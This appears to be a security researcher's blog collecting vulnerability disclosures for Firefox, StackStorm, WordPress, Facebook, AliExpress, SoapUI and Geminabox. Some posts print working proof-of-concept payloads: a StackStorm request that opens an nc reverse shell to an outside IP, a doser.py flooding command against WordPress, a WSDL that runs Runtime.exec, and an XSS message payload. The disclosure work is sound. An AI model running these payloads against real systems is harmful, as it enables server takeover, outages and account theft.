Barak Tawily

Firefox Local Files Theft - CVE-2019-11730

2019-06-28T00:00:00+00:00

Recently, I was performing a research on Same Origin Policy attacks, I managed to realize that the la version of Firefox (currently 67) is vulnerable to local files theft attack (on any supported OS), due to improper implementation of Same Origin Policy for file scheme URIs. Let’s go over the PoC details then I will provide an explanation of why its not patched yet.

Attack scenario:

Attacker sends email to victim with attachment file to be downloaded / Victim browse to malicious website and download file
The victim opens the HTML malicious file
The file loading the containing folder in an iframe (so my file path is file:///home/user/-malicious.html, and the iframe source will be file:///home/user/)
The victim thinks he clicks on a button on the malicious HTML, but in fact he is clicking on the malicious file html inside the iframe’s directory listing (using ClickJacking technique, in order to apply the “context switching bug” which allows me access the directory listing of my containing folder)
The malicious iframe now have escalated privileges and is be able to read any file on the folder contains the malicious file, (in most cases downloads folder, in my case is file:///home/user/).
The malicious file is able to read any file on it’s containing folder (file:///home/user/), such as SSH private key by simply fetching the URL file:///home/user/.ssh/ida_rsa and stealing any file by 1 more fetch request to the attacker’s malicious website with the files’ content.
The attacker gains all files in the folder containing the malicious file exploit this vulnerability

Click here to view PoC video

So let’s dig into the details, in my opinion, the core issue starts in the web origin concept RFC which is not describing a well-defined implementation of SOP for file scheme URIs.
Page 10:

          If uri-scheme is "file", the implementation MAY return an implementation-defined value.
          NOTE: Historically, user agents have granted content from the
          file scheme a tremendous amount of privilege.  However,
          granting all local files such wide privileges can lead to
          privilege escalation attacks.  Some user agents have had
          success granting local files directory-based privileges, but
          this approach has not been widely adopted.  Other user agents
          use globally unique identifiers for each file URI, which is
          the most secure option.

So basically, the RFC says “the implementation MAY return an implementation-defined value”, if I understand it right, in simple words, it says “You can do whatever you want”, which is not so make sense to me.
In addition, some approaches regarding this are presented:

Granting local files tremendous amount of privilege - which is insecure. (Currently, no browser implemented it)
Graning local files directory-based privileges - which is insecure, but less than the previous one (Currently, implemented only by Firefox)
Graning local files file-based privileges - which is secure. (Currently, implemented by Chromium and Edge)

We all understand that the 1st choise is insecure, but the 2nd option is quite problematic as well, and was adopted by Firefox, and this is the exact reason how I was managed to perform the attack described at the beginning of this article.

Vector	Firefox	Chromium	Safari	Edge
Directory-based Same Origin Policy	V	X	X	X	X
Disallow fetch to file scheme	X	V	V	V	V

As you can see, in addition to the fact dir-based SOP implementation is supoprted only on Firefox, all the modern browsers not allow fetch requests to file schemes, which is accepted by Firefox:

Security-wise I think this should be addressed on RFC side, that should enforce user-agents (browsers) to implement the most secure approach, and don’t allow developers do such mistakes that leaves the client be exposed to such attacks.

Although the RFC defined that SOP implementation for file schemes URIs can be insecured, Firefox adopted the insecure approach:

“Our implementation of the Same Origin Policy allows every file:// URL to get access to files in the same folder and subfolders.”

said Frederik Braun on the bug I reported few days ago, the article Same-origin policy for file: URIs explains this approch.

It is important to note, that Firefox only refers to the directory-based SOP implementation and the fact that one file can read files on in the directory, but did not refer any information regarding the fact that I was able read the entire files within the same directory, which make this attack even worse.

I was curious to see for how long Firefox ignores users complains and imeplmented this insecure approach, and it looks like forever. I was managed to get a bug reported on almost the same vulnerability (except for the directory listing context switch bug) was already reported 17 years ago :|

So looks like it is a known bug for Firefox, which chose the insecure implementation, I think this is a huge security issue that needs to be addressed ASAP, as well as the RFC shouldn’t be so permissive. I think malicious file opened in file: URI scheme shouldn’t steal the entire files list with a single click or steal a specific file path without any click.
Hopefully this article will make people aware for this vulnerability and Firefox will understand the risk and address this issue.

StackStorm - From Originull to RCE - CVE-2019-9580

2019-02-03T00:00:00+00:00

StackStorm (aka “IFTTT for Ops”) is event-driven automation for auto-remediation, security responses, troubleshooting, deployments, and more. In this blogpost I will describe how can you cause RCE on targeted servers which only requires an authenticated user browse to malicious webpage.

So first, lets understand what is StackStorm, StackStorm is a really popular (3K stars on github) devops event-driven automation tool, allows devops to configure actions, workflows, and scheduled tasks, in order to perform some operations on large-scale servers.

Actions will run on behalf remote servers managed by StackStorm agent. Those actions can be anything, from HTTP request to an arbitrary command as you can see in the following image:

Due to the fact that StackStorm agent run those actions on remote servers it will be “blessed” by quite high-privileges. This fact really motivated me to find flaw in it.

I was managed to see this request:

As we can see the “Access-Control-Allow-Origin” header returning in each request to StackStorm REST API, even when request not includes the origin header, quite weird but anyway might make sense… Then I started to send a malformed Origin header and I realized that the server cant handle it properly, and returning the header “Access-Control-Allow-Origin: null”:

Right away I knew that there is something interstring in here, and reminded the Originull attack discovered by Ysrael Gurt This is the first time I encountered that on the wild, I was really curious about why is this happening in first place? why servers returning “Access-Control-Allow-Origin: null” header at all? they can just not return this header at all. I managed to read a bit the The Web Origin Concept RFC and find page 11 quite interesting related to Originull:

To simplify, the RFC defines, in case the server got a malformed origin which cannot be serialized, set the string “null” as the Origin header. Now we can understand what is the root cause for all this, that’s makes me laugh a bit because the RFC defines one thing, but Mozilla best practices saying to avoid using it (make sense anyway).

After we understand why is this happening, let’s understand how can we exploit this flaw? So now the origin “null” have the a “full privileges” to StackStorm REST API, which means, that this origin can fetch requests and read responses on behalf any user that will browse to this “null” origin. How can I get null origin? Via data/file scheme as shown in the PDF mentioned above. You can run this in your browse and see that you get empty(document.domain=null) alert message:

data:text/html;,<script>alert(document.domain)</script>

At the PDF document, they used a meta tag in order to redirect the user to browse this malicious data URL:

<meta http-equiv="refresh" content="0;URL='data:text/html;,<script>alert(document.domain)</script>'" />  

I tried to use the same technique in order have a popup message reading data from StackStorm REST API but I got this message:

Crap! I realized that chrome and firefox disabled any data scheme redirections. I was needed to get another creative way to redirect users to execute this malicious script on null origin context. Tried to manipulate redirections responses with data URL schemes on Location header but it failed. Finally I used “javascript:” scheme, which allows me to execute JS code which runs on the same context as data and file schemes. So by the javascript scheme I was managed to make a full working PoC as shown below:

<script>	document.location="javascript:fetch('https://172.18.0.6/api/v1/executions',{credentials: 'include'}).then((res)=>{console.log(res.json().then((a) => {console.log(a)}));})"
</script>

We can see the REST API response object printed to the console and can be leak to anywhere:

So actually, we have to ability to read/update/create actions and workflows, get internal IPs and execute command on each machine which is accessible by StackStorm agent.

It is possible to perform code execution via core.remote action:

<script>
		let jsonBody = {"action":"core.remote","parameters":{"cmd":"nc 192.168.100.113 4444 -e /bin/bash","hosts":"10.0.0.10"},"context":{"trace_context":{}}}
		document.location="javascript:fetch('https://172.18.0.6/api/v1/executions',{credentials: 'include', method: 'post', body: JSON.stringify(jsonBody),headers: {'Content-Type': 'application/json'}}).then((res)=>{console.log(res.json().then((a) => {console.log(a)}));})"
</script>

So I was sure I done, but then I tried to run it from a web server, and got the following error message:

I was like, not again!!! The browser actually saves the origin context even if we use javascript, so it was only exploitable via sending a file to the user and make him open it.

I was frustrated and motivated at the same time, got help from my talented colleague Chen Gur Arie, together we managed to bypass this restriction as well, and we got Origin null context from a page loaded in a domain (btw, Flash can do that as well) I don’t want to elaborate about how we did it, because we still trying to figure out what are the implications of it.

Now all an attacker needs is to send a malicious link to a victim which is authenticated to StackStorm Web UI, thus, allow the attacker take over any server accessible by StackStorm agent as you can see at the PoC video

I contacted with StackStorm team and it is important to note that they did great job and was really cooperative, released the patch a day or two after they were informed (versions 2.9.3 and 2.10.3 are not vulenrable) and published a blogpost about the vulenrability.

Youtube - Open redirection

2018-11-19T00:00:00+00:00

Google fixed this a year after I reported this bug and yet refused to accept this as a vulnerability, got no luck with bug-bounties haha

Attack Scenario:

Attacker send youtube link and lure the victim click on it
The link redirects the victim to the attacker’s malicious phishing website requires youtube’s credentials
The victim enters his youtube credentials because he thinks he is still on youtube domain.
The attacker take over the victim’s youtube account (which is actually google account, so he can actually take over gmail drive, etc.)

PoC Video: https://www.youtube.com/watch?v=CcsJ8EXUIvA

How to DoS 29% of the World Wide Websites - CVE-2018-6389

2018-02-05T00:00:00+00:00

According to wordpress.com, the WordPress platform powers 29% of the worldwide internet websites.

In this article I am going to explain how Denial of Service can easily be caused to almost any WordPress website online, and how you can patch your WordPress website in order to avoid this vulnerability being exploited.

It is important to note that exploiting this vulnerability is illegal, unless you have permission from the website owner.

While browsing a WordPress website, my attention was drawn to the following URL:

https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core&ver=4.9.1

The load-scripts.php file receives a parameter called load[], the parameter value is ‘jquery-ui-core’. In the response, I received the JS module ‘jQuery UI Core’ that was requested, as demonstrated in the following image:

What can be concluded from this URL, is that it is probably meant to supply users with some JS modules. In addition, the load[] parameter is an array, which means that it is possible to provide multiple values and be able to get multiple JS modules within the response.

As WordPress is open-source, it is easy to perform code review and explore this feature. After doing so, I realized that this feature was designed to economize the amount of requests sent from the client while trying to load JS or CSS files, so when the browser needs to load multiple JS/CSS files, it will use load-scripts.php (for JS) or load-styles.php (for CSS files) and the browser will get multiple JS/CSS files through a single request- so performance-wise it is better to do so and the page will load faster. This feature was designed only for the admin pages, but is also used on the wp-login.php page, so no authentication is enforced on these files.

First, I tried to manipulate this feature and provide a list of the ‘jquery-ui-core’ value multiple times as follows:

https://WPServer/wp-admin/load-scripts.php?c=1&load%5B%5D=jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core,jquery-ui-core&ver=4.9.1

I thought I might make the server read the same file over and over again and append it to the same response, but the use of the ‘array_unique’ function removes duplicates in arrays so that didn’t succeeded:

I kept exploring the code and found something that looked interesting in the following code snippet, which I wanted to investigate further:

There is a well-defined list ($wp_scripts), that can be requested by users as part of the load[] parameter. If the requested value exists, the server will perform an I/O read action for a well-defined path associated with the supplied value from the user.

The wp_scripts list is hard-coded and is defined in the script-loader.php file:

There are 181 values in this list:

eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter

I wondered what would happen if I sent the server a request to supply me every JS module that it stored? A single request would cause the server to perform 181 I/O actions and provide the file contents in the response.

So I tried it, I sent the request to the server:

The server responded after 2.2 seconds, with almost 4MB of data, which made the server work really hard to process such a request.

So I decided to use doser.py, a simple tool that I wrote, designed to constantly repeat requests (yes, I know Python threads suck, but I still love Python!) in order to cause DoS, and guess what? it worked! :)

python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999

As long as I kept sending those requests to the server, it was too busy to handle any other request, and I had effectively (and easily) caused DoS.

It is time to mention again that load-scripts.php does not require any authentication, an anonymous user can do so.

After ~500 requests, the server didn’t respond at all any more, or returned 502/503/504 status code errors like:

Full PoC video

WordPress has a bug bounty program, and I contacted them about this issue, even though I knew DoS vulnerabilities are out-of-scope, I reported it through HackerOne and explained the vulnerability, I thought they would understand that there is a security issue here and properly address it. After going back and forth about it a few times and my trying to explain and provide a PoC, they refused to acknowledge it and claimed that:
“This kind of thing should really be mitigated at the server or network level rather than the application level, which is outside of WordPress’s control.”

Even though I was extremely frustrated about them not acknowledging this as a vulnerability, I kept on exploring how I can mitigate this attack, and forked WordPress project and patched it so no one but authenticated users can access the load-*.php files, without actually harming the wp-login.php file functionality. So if you are currently using, or are about to use, WordPress, I would highly recommend you use the patched version.

In case you already have a WordPress website on a Linux machine, I created this bash script that modifies the relevant files in order to mitigate the vulnerability.

Can you trust Facebook links?

2017-10-30T00:00:00+00:00

While we are on Facebook, we are often share links to external sources, like Youtube, Google Drive, Instagram, or any other websites.

Many people think that Facebook links are quite reliable, but are they?

Facebook users can send those links via post or privately over Messenger, as you can see on the following images:

So how exactly preview link feature works?

When a user is about to post a link, he pastes it on Facebook, which detects it as a URL, then Facebook bot called “Facebook External Hit”, fetches a GET request to the supplied link and extract the relevant data from the HTML content such as preview image, title, description, and origin domain.

The link’s preview data is the only information supplied to the user before clicking it. In case the preview data is fake, it is super useful for phishing campaigns/ads/click fraud (pay-per-click)/Malvertising, just few days ago, I read this article about gigantic ad fraud on MySpace.

So after exploring this feature, I managed to understand how exactly the preview data was fetched, and what Facebook bot is looking for in the HTML content.

Facebook’s bot is looking for specific HTML tags, some of the tags it is looking for, are the “meta” tags, specifically with values “og:url” , “og:image” and “og:title” in the “property” attribute.

Due to lack of validation between the “og:url” content attribute to the origin domain retuned the HTML, it is possible to abuse this feature via crafted meta tags, so in case someone supplies to Facebook bot a URL that returns HTML with those crafted tags which contain fake data of another website (let’s say Youtube), the preview data will look like a Youtube song (or any other targeted page over the internet), but the actual link will lead victims to the URL containing the malicious HTML.

An example of HTML that fakes Youtube song link:

In my opinion, all Facebook users think that preview data shown by facebook is reliable, and will click the links they are interested in, which makes them easily targeted by attackers that abuse this feature in order to perform several types of attacks as I mentioned above (phishing campaigns/ads/click fraud pay-per-click).

I reported Facebook about this issue but unfortunately they refuse to recognize it as security issue and replied:

“Facebook contains user-generated content, so the ability to inject content into a page, even under Facebook.com, is a very low-risk vulnerability. We consider content spoofing bugs like this to be low-risk and low-impact”

In addition, Facebook replied that the links posted are validated via system called “Linkshim”, in order to avoid phishing and malicious websites, but faking the meta tags is not considered as malicious activity.

we filter redirects through a system known as Linkshim…….. Feel free to test Linkshim against a URL belonging to a known malicious website, such as http://evilzone.org/

I explored how Linkshim works, which is probably part of the “Facebook External Hit” bot, I tried to publish a link that redirects user’s browser to “evilzone” but it was detected and removed (as shown the

video), then I thought, what if I supply Facebook bot just a normal fake HTML without any malicious code, but supply victims the malicious HTML?

PoC video: https://www.youtube.com/watch?v=qWMXBW9k130

The following code bypasses Linkshim system by detecting the bot request via User Agent (you can do so via detecting IP) and supply HTML with non malicious content while supplying the malicious HTML to victims:

https://pastebin.com/kwc3MJuv

In this article I did not show real-life attack scenario and didn’t abused this feature for real malicious activity, but there is plenty ways to exploit this vulnerability in order to perform several types of attacks like stealing sensitive information like credentials/credit cards.

In summary, I hope this post will make Facebook users aware of this issue and make Facebook addressed those vulnerabilities.

Autorize - automatic authorization enforcement detection extension for Burp Suite

2015-02-15T00:00:00+00:00

Github - https://github.com/Quitten/Autorize

Autorize is an automatic authorization enforcement detection extension for Burp Suite. It was written in Python by Barak Tawily, an application security expert at AppSec Labs. Autorize was designed to help security testers by performing automatic authorization tests.

Installation

Download Burp Suite (obviously): http://portswigger.net/burp/download.html
Download Jython standalone JAR: http://www.jython.org/downloads.html
Open burp -> Extender -> Options -> Python Environment -> Select File -> Choose the Jython standalone JAR
Install Autorize from the BApp Store or follow these steps:
Download the Autorize.py file.
Open Burp -> Extender -> Extensions -> Add -> Choose Autorize.py file.
See the Autorize tab and enjoy automatic authorization detection :)

User Guide - How to use?

After installation, the Autorize tab will be added to Burp.
Open the configuration tab (Autorize -> Configuration).
Get your low-privileged user authorization token header (Cookie / Authorization) and copy it into the textbox containing the text “Insert injected header here”.
Click on “Intercept is off” to start intercepting the traffic in order to allow Autorize to check for authorization enforcement.
Open a browser and configure the proxy settings so the traffic will be passed to Burp.
Browse to the application you want to test with a high privileged user.
The Autorize table will show you the request’s URL and enforcement status.
It is possible to click on a specific URL and see the original/modified request/response in order to investigate the differences.

Authorization Enforcement Status

There are 3 enforcement statuses:

Authorization bypass! - Red color
Authorization enforced! - Green color
Authorization enforced??? (please configure enforcement detector) - Yellow color

The first 2 statuses are clear, so I won’t elaborate on them.

The 3rd status means that Autorize cannot determine if authorization is enforced or not, and so Autorize will ask you to configure a filter in the enforcement detector tab.

The enforcement detector filters will allow Autorize to detect authorization enforcement by fingerprint (string in the message body) or content-length in the server’s response.

For example, if there is a request enforcement status that is detected as “Authorization enforced??? (please configure enforcement detector)” it is possible to investigate the modified/original response and see that the modified response body includes the string “You are not authorized to perform action”, so you can add a filter with the fingerprint value “You are not authorized to perform action”, so Autorize will look for this fingerprint and will automatically detect that authorization is enforced. It is possible to do the same by defining content-length filter.

AliExpress XSS vulnerability - take over any seller account

2014-12-10T00:00:00+00:00

In this blog post I will discuss a XSS vulnerability I’ve found in AliExpress website.

I discovered this vulnerability while i bought items in the website, i wanted to contact with the seller so i sent him a message. As an application security expert i suspected that the messages system might be vulnerable to XSS so i started investigate it.

after a full investigation i found that it is possible to inject HTML <b> tag into the message, and it will be rendered as HTML code in the recipients’ browser.

By injection the following malicious script payload in a message content parameter, the seller will browse to the message center in AliExpress website, thus, the malicious script will be executed on his browser:

Hello Seller :)\<b style="position:fixed;top:0;left:0;display:block;width:100%;height:100%" onmouseover="alert('Barak Tawily, AppSec Labs')"\>PoC</b>

Note: the system doesn’t allow send HTML tags in the content of the message, but it allows <b> tag only, thats why the payload to exploit the vulnerability is <b> tag and not any other.

The vulnerability allows the attacker to execute malicious code on the seller’s browser, thereby putting in danger all of the AliExpress sellers.

The attack scenario:

1. An attacker sends a message to a store via the “contact now” feature.

2. The attacker sends a malicious script injected inside the message content.

3. The seller browses to the AliExpress message center.

4. The malicious script executed on the seller’s browser, which can be lead to several attacks such as perform actions on behalf of a seller, phishing attacks, steal the victim’s sessions identifier, etc.

5. The attacker succeeds in executing malicious code in the seller’s browser and will take it over on his store.

Skilled hacker might exploit this vulnerability and perform ranged attack by sending malicious messages to all AliExpress sellers and will cause a huge damage to AliExpress website.

A Proof of Concept (PoC) video can be found at the following link:
https://www.youtube.com/watch?v=78Y0CEQYN1Q

SoapUI Code Execution Vulnerability - CVE-2014-1202

2014-01-15T00:00:00+00:00

In this blog post I will discuss a vulnerability I’ve found in the SoapUI product before version 4.6.4 (CVE-2014-1202).

I discovered this vulnerability during a penetration test in which I saw that the SoapUI software allows the clients to execute a Java code on the local machine by putting a Java code inside the following tag:

${=JAVA CODE};

The vulnerability allows the attacker to execute the java code on the victim’s machine, thereby putting in danger the SoapUI users, including developers, penetration testers, etc.

The SoapUI product allows users to open a SOAP / REST project and import WSDL/WADL files that help the users to communicate with the remote server easily.

WSDL/WADL files are XML-based grammar that define the operations that a web service offers and the format of the request and response messages that the client sends to and receives from the operations.

In WSDL/WADL files, the file owner can determine the default values of some parameters. Thus, an attacker can impersonate a legitimate web service and inject a malicious Java code into a default value of one of the parameters, and spread it to SoapUI clients.

When a SoapUI client will load a malicious WSDL/WADL file to his project in the SoapUI software, and send a request containing the malicious Java code, the SoapUI will execute the malicious Java code on the victim’s computer.

The attack scenario:

An attacker impersonates a regular web service with a malicious WSDL containing the malicious Java code.
The victim creates a new project in the SoapUI and loads the malicious WSDL.
The victim decides to send a request to the remote server, thus, the SoapUI executes the malicious Java code.
The attacker succeeds in executing malicious code in the victim’s machine and will take it over.

A Proof of Concept (PoC) video can be found at the following link:

http://www.youtube.com/watch?v=3lCLE64rsc0

An example of a malicious WSDL file can be found at the following link:

<!--Malicious WSDL File, SoapUI Code Execution Vulnerability CVE-2014-1202, Barak Tawily-->
<wsdl:definitions targetNamespace="http://example.companyInfo"
 xmlns:tns="http://example.companyInfo"
 xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/"
 xmlns:wsdlsoap="http://schemas.xmlsoap.org/wsdl/soap/"
 xmlns:wsdlmime="http://schemas.xmlsoap.org/wsdl/mime/"
 xmlns:xsd="http://www.w3.org/2001/XMLSchema">

 <wsdl:types>
  <xsd:schema elementFormDefault="qualified"
   targetNamespace="http://example.header">

   <xsd:element name="sampleHeader">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="priority" type="xsd:int"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>
  </xsd:schema>


  <xsd:schema elementFormDefault="qualified"
   targetNamespace="http://example.companyInfo">

   <xsd:element name="Payload_Request">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="Payload" default="${=Runtime.getRuntime().exec('calc.exe')};" type="xsd:string"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>

   <xsd:element name="Payload_RequestResult">
    <xsd:complexType>
     <xsd:all>
      <xsd:element name="result" type="xsd:float"/>
     </xsd:all>
    </xsd:complexType>
   </xsd:element>
  </xsd:schema>
  
  
 </wsdl:types>

 <wsdl:message name="Payload_RequestRequest">
   <wsdl:part name="part1" element="tns:Payload_Request"/>
 </wsdl:message>

 <wsdl:message name="Payload_RequestResponse">
  <wsdl:part name="part1" element="tns:Payload_RequestResult"/>
  <wsdl:part name="part2" type="xsd:string"/>
  <wsdl:part name="part3" type="xsd:base64Binary"/>
 </wsdl:message>

 <wsdl:portType name="CompanyInfo">
  <wsdl:operation name="Payload_Request">
   <wsdl:input message="tns:Payload_RequestRequest"
               name="Payload_RequestRequest"/>
   <wsdl:output message="tns:Payload_RequestResponse"
                name="Payload_RequestResponse"/>
  </wsdl:operation>
 </wsdl:portType>

 <wsdl:binding name="Exploit" type="tns:CompanyInfo">
  <wsdlsoap:binding style="document" transport="http://schemas.xmlsoap.org/soap/http"/>

  <wsdl:operation name="Payload_Request">
   <wsdlsoap:operation soapAction=""/>
   <wsdl:input name="Payload_RequestRequest">
    <wsdlsoap:body use="literal"/>
   </wsdl:input>
   <wsdl:output name="Payload_RequestResponse">
    <wsdlsoap:body use="literal"/>
   </wsdl:output>
  </wsdl:operation>
 </wsdl:binding>

 <wsdl:service name="CompanyInfoService">
  <wsdl:port binding="tns:Exploit" name="SOAPPort">
   <wsdlsoap:address location="http://somewhere/services/CompanyInfoService"/>
  </wsdl:port>
 </wsdl:service>

</wsdl:definitions>

Gem in a box CSRF file upload - CVE-2017-14506

2014-01-01T00:00:00+00:00

In this blog post I will give a short example of exploiting CSRF vulnerability on Geminabox.
So Geminabox is an application allows you manage your internal gems was vulnerable to CSRF on upload file.

In order to exploit the CSRF vulnerability I wrote really small tool called csrFile, which allows you to generate HTML that uploads any type of file to the supplied endpoint, you can check it out in the following link:
https://github.com/Quitten/csrFile
Usage:

python csrFile.py <url> <filePath>

So using the following command, you can easily create an HTML document that exploits the CSRF attack and uploads malicious gem file to the targeted server:

python csrFile.py https://geminaboxserve/upload xss.gem

Then in case the victim will browse to the attacker’s link that contains the HTML generated from csrFile, his browser will automatically will upload the attacker’s malicious gem to geminabox system.
Note: it is possible to exploit persistent XSS attack (CVE-2017-14506) in that way as well.

Gem in a box XSS vulnerability - CVE-2017-14506

2014-01-01T00:00:00+00:00

In this short blogpost I will give a short explain of XSS vulnerability i found on geminabox v0.13.5. which is a gems manager like rubygems.org so you can upload and download gems

Geminabox parses the uploaded gems and gives the users list of the gems on the system as the following image:

As you can see, the system parses the gem’s details and present it on the web UI.
After few times, I succeeded to create a GEM file to exploit XSS, the attack scenario goes as follows:

Malicious attacker create GEM file with crafted homepage value (gem.homepage in .gemspec file) includes XSS payload as the following image:
The attacker access geminabox system and uploads the gem file (or uses CSRF/SSRF attack to do so).
From now on, any user access Geminabox web server, executes the malicious XSS payload, that will delete any gems on the server, and won’t let users use the geminabox anymore. (make victim’s browser crash or redirect them to other hosts).

PoC video: https://www.youtube.com/watch?v=eFIJL7yMYFA